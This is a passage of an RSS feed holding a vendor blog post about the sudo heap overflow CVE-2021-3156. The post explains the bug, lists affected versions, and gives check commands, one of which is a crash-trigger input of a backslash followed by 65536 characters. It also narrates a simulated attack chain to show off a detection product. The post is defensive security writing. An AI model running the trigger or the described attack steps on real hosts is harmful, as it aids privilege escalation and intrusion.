src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc595c6b53cc" width="1" height="1" alt=""><hr><p><a href="https://medium.com/confluera-engineering/threat-detections-for-container-lateral-movements-and-container-escapes-this-is-how-dc595c6b53cc">Threat Detections for Container Lateral Movements and Container Escapes — This is How</a> was originally published in <a href="https://medium.com/confluera-engineering">Confluera Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Sudo vulnerability may be 10 years old, but your detection and response should be cutting edge]]></title>
            <link>https://medium.com/confluera-engineering/the-sudo-vulnerability-may-be-10-years-old-but-your-detection-and-response-should-be-cutting-edge-1614b018f296?source=rss-138f8633036e------2</link>
            <guid isPermaLink="false">https://medium.com/p/1614b018f296</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[baron-samedi]]></category>
            <category><![CDATA[sudo]]></category>
            <category><![CDATA[threat-detection]]></category>
            <dc:creator><![CDATA[Rex Guo]]></dc:creator>
            <pubDate>Tue, 02 Feb 2021 01:10:25 GMT</pubDate>
            <atom:updated>2021-02-02T20:54:25.484Z</atom:updated>
            <cc:license>https://creativecommons.org/licenses/by-nd/4.0/</cc:license>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q7AZ0_U3K8m_t-ePYahXEA.png" /><figcaption>Photo: <a href="https://meterpreter.org/cve-2019-14287-sudo-vulnerability-let-any-users-can-also-run-the-root-command/">https://meterpreter.org</a>/</figcaption></figure><p>A heap overflow vulnerability in sudo was recently discovered (<a href="https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit">CVE-2021-3156</a>, named: Baron Samedit). By exploiting this vulnerability, any unprivileged user can use the default sudo configuration to obtain root privileges (no password required) on the vulnerable host.</p><p>Interestingly, the sudo privilege escalation vulnerability <strong>remained undiscovered for nearly ten years</strong>. It was introduced in a submission in July 2011. If you are like many and have sudo installed on Linux or Unix machines in your environment, this vulnerability likely affects you.</p><p>While it requires an adversary to have access to the vulnerable machine to perform privilege escalation<strong>, detecting this exploit needs to focus equally on the pre-exploit and post-exploit kill chain (which will likely include activities across execution, privilege escalation, discovery, lateral movement, etc)</strong>. As exemplified in the recent<a href="https://medium.com/confluera-engineering/anatomy-of-solarwind-attack-68c63fe1e523"> SolarWinds</a> breach, a network can be compromised from unexpected threat vectors, and a defense-in-depth posture is critical in detecting and responding to the attack. Confluera XDR is purpose-built to detect, investigate and respond to such multi-stage attacks — in a holistic, automated and painless way.</p><h3>The Baron Samedit Vulnerability and Attack</h3><p>Let’s briefly review the vulnerability. The bug in sudo code <strong>permits the attacker to avoid the escape characters and overflow the heap-based buffer</strong> through a command-line argument with a single backslash character. This buffer overflow vulnerability allows the attacker to <strong>control the size and content of the buffer </strong>with the corresponding command line argument.<strong> </strong>Therefore a malicious user can <strong>execute custom code on the host with root privileges</strong>.</p><p>The researchers discovered that the bug can be triggered when some of the following conditions are met:</p><ol><li>Executing sudo in “shell” mode</li></ol><pre>shell -c command</pre><p>2. Using the sudoedit command with the options below:</p><pre>sudoedit -s  <br>sudoedit -i</pre><p>The vulnerability affects all the following sudo versions:</p><ul><li>All legacy versions from <strong>1.8.2</strong> to <strong>1.8.31p2</strong></li><li>All stable versions from <strong>1.9.0</strong> to <strong>1.9.5p1</strong></li></ul><p>You can test if the sudo binary is vulnerable using the following command:</p><pre>$ sudoedit -s /</pre><p>Depending on the response, you can determine if sudo is vulnerable:</p><ul><li><strong>Vulnerable</strong> if responds an error starting with sudoedit:</li></ul><pre>$ sudoedit -s /<br>[sudo] password for alice: <br>sudoedit: /: not a regular file</pre><ul><li><strong>Not Vulnerable</strong> or patched if responds an error starting with usage:</li></ul><pre>$ sudoedit -s /<br>usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T<br> timeout] [-u user] file …</pre><p>Another way to test is to trigger the segmentation fault directly using command below. If you did not see the segmentation fault, it is likely your sudo is not vulnerable.</p><pre>$ sudoedit -s &#39;\&#39; `perl -e &#39;print &quot;A&quot; x 65536&#39;`<br>Segmentation fault (core dumped)</pre><h3><strong>Detecting and responding to CVE-2021-3156 exploitation</strong></h3><p>Whether your system is patched or not, <strong>visibility of the exploitation attempts and pre-/post-exploitation activities is fundamental</strong>. Let’s analyze how Confluera XDR’s workload detection and response solution can detect and prevent the attack in your environment.</p><p>Let’s look at an example breach and visualize this incident through the lens of the <strong>MITRE</strong><a href="https://attack.mitre.org/"><strong> ATT&amp;CK</strong></a> framework, the de-facto industry standard for the definition and classification of infrastructure wide cyberattacks.</p><p>Our victim environment has two linux machines (joebox and alicebox) with sudo CVE-2021-3156 vulnerability.</p><p>The attacker performed the following actions:</p><ol><li>Exploited a nodejs web server vulnerability to spawn a reverse shell to the C2 server. (“<strong>Execution” </strong>technique<strong>)</strong></li><li>Exploited the vulnerability to elevate to root and created a root shell (<strong>“Privilege Escalation” </strong>technique)</li><li>Enumerated the environment and discovered an ssh hijacking opportunity (<strong>“Discovery”</strong> technique)</li><li>Hijacked the ssh session and lateral moved to alicebox (<strong>“Lateral Movement” </strong>technique)</li><li>Attempted to exploit the sudo vulnerability on the alicebox (<strong>“Privilege Escalation” </strong>technique)</li></ol><p>Confluera detects any exploitation attempt of CVE-2021-3156 and captures the sequence of activities into a threat storyboard view. In addition, Confluera also provides response actions for the user to terminate the offending processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YOtMc_2gseOm4pDXBd4t0w.png" /><figcaption>Threat progression</figcaption></figure><p>Let’s review the threat progression step by step:</p><p>1. The attacker exploits the web server that leads to remote code execution and spawns a reverse shell to the C2 server (“<strong>Execution” </strong>technique<strong>).</strong></p><p>Confluera detects this reverse shell activity and creates a new threat progression (storyboard) to track this potential attack pattern. The detection is based on the runtime process behaviors of the reverse shell instead of the traditional signature approach.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ljJcHv8ntrFDZiFr2pXhEg.png" /><figcaption>Step 1</figcaption></figure><p>2. Exploited the CVE-2021-3156 vulnerability to elevate to root and created a root shell (<strong>“Privilege Escalation” </strong>technique). The attacker launched sudo with an argument that triggers the heap overflow and caused the sudo binary to load a malicious shared library. On library load, the sudo binary created a root privilege shell.</p><p>Confluera precisely detects a CVE-2021-3156 exploitation attempt and stitches the detection to the previously created threat progression (using a combination of user session and state tracking algorithms). We also detect the attacker successfully elevating privilege and creating a root shell from the setuid binary following the exploitation attempt. Additionally, once a threat progression is established, Confluera also provides additional forensics information to help investigate the incidents. One can see the user id 1001 executed sudo from the shell being reported as additional forensics information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bm5Wz_wT0ZPb4d8uREFyzA.png" /><figcaption>step 2</figcaption></figure><p>3. Next, the attacker enumerates the environment and discovers an ssh hijacking opportunity (<strong>“Discovery”</strong> technique).</p><p>Confluera identifies the offending process and enumerates other processes’ environmental variables. Such low severity detections (or weak security signals) are tracked and surfaced to the analyst only when such detections are a part of an active threat progression.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FSgHMQGMfXQcYCT1DkoNJA.png" /><figcaption>step 3</figcaption></figure><p>4. Hijacked the ssh session and lateral moved to alicebox (<strong>“Lateral Movement” </strong>technique)</p><p>Confluera not only detects the ssh hijacking attack, it is also able to stitch precisely the lateral movement activity and the target machine the attacker has moved to. This lateral movement tracking works across any number of hosts and is independent of the time difference between the hops.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xHosArG_ysZuzfHukyM1uA.png" /><figcaption>Step 4</figcaption></figure><p>5. Next, the attacker exploits the sudo vulnerability on alicebox (<strong>“Privilege Escalation” </strong>technique).</p><p>Confluera continues the threat progression story on the new machine and detects the attacker’s second attempt to exploit the sudo vulnerability CVE-2021-3156.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o-8s1TYVmUjhsd2csFIGMA.png" /><figcaption>Step 5</figcaption></figure><p><strong>Remediation</strong></p><p>In this attack scenario, the remediation effort mainly involves identifying and dismantling the elevated processes that the attacker has set up during the progression. Confluera XDR generates automated recommendations for remediating the necessary hosts, files and processes involved in each progression.</p><p>In this scenario, killing the elevated reverse shell and ssh processes on joebox and the shell processes on alicebox are the recommended actions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_PKX7YW_T-oyzB9kNeZONQ.png" /><figcaption>Response actions</figcaption></figure><h3>Conclusions</h3><p>Malicious users with local access can elevate privileges by exploiting sudo (CVE-2021-3156) and gain arbitrary code execution with root. It is recommended that you patched the vulnerability as soon as you can.</p><p>The power of Confluera is the deep visibility at the infrastructure layer and autonomous detection and response capability. As a result, Confluera automatically sequence attacks in the kill chain to reduce investigation overhead.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1614b018f296" width="1" height="1" alt=""><hr><p><a href="https://medium.com/confluera-engineering/the-sudo-vulnerability-may-be-10-years-old-but-your-detection-and-response-should-be-cutting-edge-1614b018f296">The Sudo vulnerability may be 10 years old, but your detection and response should be cutting edge</a> was originally published in <a href="https://medium.com/confluera-engineering">Confluera Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>